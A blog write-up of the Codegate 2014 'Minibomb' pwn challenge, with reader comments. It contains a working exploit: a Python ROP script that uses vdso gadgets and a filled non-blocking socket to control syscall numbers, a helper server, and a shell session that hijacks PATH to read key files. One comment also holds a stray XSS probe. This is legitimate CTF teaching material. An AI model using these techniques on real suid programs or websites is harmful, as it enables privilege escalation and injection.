Codegate 2014 Quals – Minibomb (pwn 400)

□ description
==========================================
ssh guest@58.229.183.14 / ExtremelyDangerousGuest
ssh guest@58.229.183.15 / ExtremelyDangerousGuest

==========================================

□ number of solvers : 15
□ breakthrough by
1 : More Smoked Leet Chicken (02/23 02:38)
2 : Hexcellents (02/23 02:42)
3 : ppp (02/23 03:16)

Binary

The binary is statically linked and contains very few code. It’s using mmap to create new stack and then a function which tends to check a passcode is obviously vulnerable to overflow:

int sub_80480FA()
{
  int v4; // [sp+0h] [bp-10h]@1
 
  v0 = sys_write(1, "passcode: ", 0xAu);
  v1 = sys_read(0, &v4, 0x1000u);
  v2 = sys_close(0);
  return sys_write(1, "checking...\n", 0xCu);
}

So we can easily make a ROP chain. The problem is – we have very few gadgets. There are lots of int 0x80 calls but we can’t control registers!

If you look maps, you’ll see that there’s also vdso mapped somewhere in memory. We can use ulimit -s unlimited trick to fix its location (it disables ASLR of libraries). But vdso has very few gadgets too:

ffffe400 <__kernel_sigreturn>:
ffffe400:	58                   	pop    %eax
ffffe401:	b8 77 00 00 00       	mov    $0x77,%eax
ffffe406:	cd 80                	int    $0x80
ffffe408:	90                   	nop
ffffe409:	8d 76 00             	lea    0x0(%esi),%esi
 
ffffe40c <__kernel_rt_sigreturn>:
ffffe40c:	b8 ad 00 00 00       	mov    $0xad,%eax
ffffe411:	cd 80                	int    $0x80
ffffe413:	90                   	nop
 
ffffe414 <__kernel_vsyscall>:
ffffe414:	51                   	push   %ecx
ffffe415:	52                   	push   %edx
ffffe416:	55                   	push   %ebp
ffffe417:	89 e5                	mov    %esp,%ebp
ffffe419:	0f 34                	sysenter 
ffffe41b:	90                   	nop
ffffe41c:	90                   	nop
ffffe41d:	90                   	nop
ffffe41e:	90                   	nop
ffffe41f:	90                   	nop
ffffe420:	90                   	nop
ffffe421:	90                   	nop
ffffe422:	cd 80                	int    $0x80
ffffe424:	5d                   	pop    %ebp
ffffe425:	5a                   	pop    %edx
ffffe426:	59                   	pop    %ecx
ffffe427:	c3                   	ret

Pop-pop-ret gadgets seems cool, now we can control 2nd and 3rd arguments for syscalls! But what about syscall number (eax) and 1st argument (ebx)?

  return sys_write(1, "checking...\n", 0xCu);

Eax will hold the result of call to sys_write. Can we control it? Actually, yes. We can create a socket, fill it’s buffers, make it non-blocking and pass as it as stdout to the program. Thus calls to write will not be able to write everything and they will return the actual count of written data (I tried the same trick with pipes but in this case writes return either -1 EAGAIN (Resource temporarily unavailable) or the whole length).

Now we can call any syscall with number 1-12. Execve? We still don’t control first argument which is crucial for execve. There is some interesting gadget which makes ebx some pointer:

.text:080480B4                 lea     ebx, unk_8049150
.text:080480BA                 int     80h             ; LINUX - old_mmap

But sadly this pointer points to zeros, so we can’t use it in execve. So let’s write something there!

We’ll use this gadget to make sys_read call from fd=1 (which is still our socket) (reading from stdout, hah):

.text:08048143                 mov     ebx, 1          ; fd
.text:08048148                 int     80h             ; LINUX - sys_write
.text:0804814A                 add     esp, 10h
.text:0804814D                 retn

Then since we control ecx (**argv) we can craft any command. But since this is local challenge, let’s put there zeroes and just exec our stuff.

Here’s code:

import sys
import time
import socket
from struct import pack
from subprocess import Popen, PIPE
 
out_in = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
out_in.connect(("127.0.0.1", 3123))
out_in.setblocking(0)
 
# wait for command from server cached in buffers
# codegate servers were highly loaded so needed 5 seconds to be sure
# otherwise 1 second is enough
time.sleep(3.0)
 
fake_len = eval(sys.argv[1])
out_in.sendall("A" * fake_len)
 
p = Popen("strace ./minibomb", shell=True, stdin=PIPE, stdout=out_in)
 
pay = "A" * 16
 
pay += pack("<I", 0x40000425)  # pop edx, ecx, ret
pay += pack("<I", 0x11)        # edx (num read)
pay += pack("<I", 0x08049150)  # ecx = buf
 
# now eax = 3
pay += pack("<I", 0x8048143)   # ebx=1, int 0x80, add esp, 0x10; ret
pay += "A" * 16
 
# now eax = 11
pay += pack("<I", 0x40000425)  # pop edx, ecx, ret
pay += pack("<I", 0)           # edx (argv)
pay += pack("<I", 0)           # ecx (env)
 
pay += pack("<I", 0x080480B4)  # ebx=0x08049150, int 0x80
 
p.stdin.write(pay)
 
time.sleep(200)

And server:

import time
import socket
 
f = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
f.bind(("0.0.0.0", 3123))
f.listen(100)
 
while True:
    s, ts = f.accept()
    s.sendall("id".ljust(11, "\x00"))
    time.sleep(10)
    s.close()

The weird problem occured with buffer’s size – it depended on many stuff (local or remote socket, etc.) so every time I searched good fake_len with binary search: test something large (like 4096 * 32 * 20) and if socket.error: [Errno 11] Resource temporarily unavailable error occured, than divide it by two, etc.

Strace is there for debug purposes, if running on suid binary – remove it.

guest@notroot-virtual-machine:/tmp/mb$ ln -s /home/minibomb/minibomb ./
guest@notroot-virtual-machine:/tmp/mb$ export PATH=".:$PATH"
guest@notroot-virtual-machine:/tmp/mb$ cat >id
#!/bin/bash -p
cat /home/*/key >flaaag
guest@notroot-virtual-machine:/tmp/mb$ chmod +x id
guest@notroot-virtual-machine:/tmp/mb$ ulimit -s unlimited
guest@notroot-virtual-machine:/tmp/mb$ python exp.py '4096 * 32 * 10 + 4096 * 12 + 512 + 256 + 128 + 32 + 16 + 16 + 128 + 64 + 256 - 13'
cat: /home/4stone/key: Permission denied
cat: /home/hypercat/key: Permission denied
cat: /home/membership/key: Permission denied
 
^CTraceback (most recent call last):
  File "exp.py", line 43, in <module>
    time.sleep(200)
KeyboardInterrupt
guest@notroot-virtual-machine:/tmp/mb$ cat flaaag 
Do_Yox_H4VE_r3dBULL

12 comments

Skip to comment form

    • Josh on February 24, 2014 at 12:23
    • Reply

    Great post! Sorry if this is a n00b question, but what did you use to get the source code for the binary? I just started doing CTFs and am still very novice…

    1. It’s IDA hexrays. Well, for this challenge hexrays is not needed at all, code is really simple.

        • Josh on February 24, 2014 at 12:49
        • Reply

        ty, that’s very helpful! will have to learn to use it for my next CTF

    • laughfool on February 26, 2014 at 02:28
    • Reply

    Thanks for good write-up! I have a question. Could you explain again how set the EAX register value? I don’t understand that why EAX value is 3 in first ROP call.

    1. We bind stdout to our socket before execution and fill socket’s buffers, so sys_write(1, “checking…\n”, 0xCu) can’t write all 12 bytes (buffers are full). Buffer is filled up to BUF_SIZE – len(“passcode: “) – 3 so this write will be able to write only 3 bytes.

  1. reading through stdout, setting eax by using non-blocking sockets — thank you, this is awesome!

  2. “>alert(‘XSS’)

    • flack3r on October 10, 2014 at 08:09
    • Reply

    thanks awesome write-up !!

    • pesante on March 13, 2015 at 14:37
    • Reply

    hi! Thanks to your awesome write up!
    I have a question.
    when read() function read buffer, It print “Resource temporarily unavailable” .
    how I can solve it? T_T

    1. You need to find right “fake_len” parameter with binary search (dihotomy).

        • pesante on March 13, 2015 at 19:58
        • Reply

        Yes. I found it. and I succeed to make return value of write() 3.

        I am saying about second read().

        I heard that It’s because I am using a non-blocking socket and the output buffer is full.

        I can’t fix this! T-T

        1. It’s strange. The second read gets just the command for bash and the read buffer of that file descriptor is not ful. Maybe the command has not been already sent and cached to the buffer? You can try to increase time.sleep(3.0) timer. Also try to write “id\n” to socket and maybe even make socket.shut_wr() after sending.

Leave a Reply

Your email address will not be published.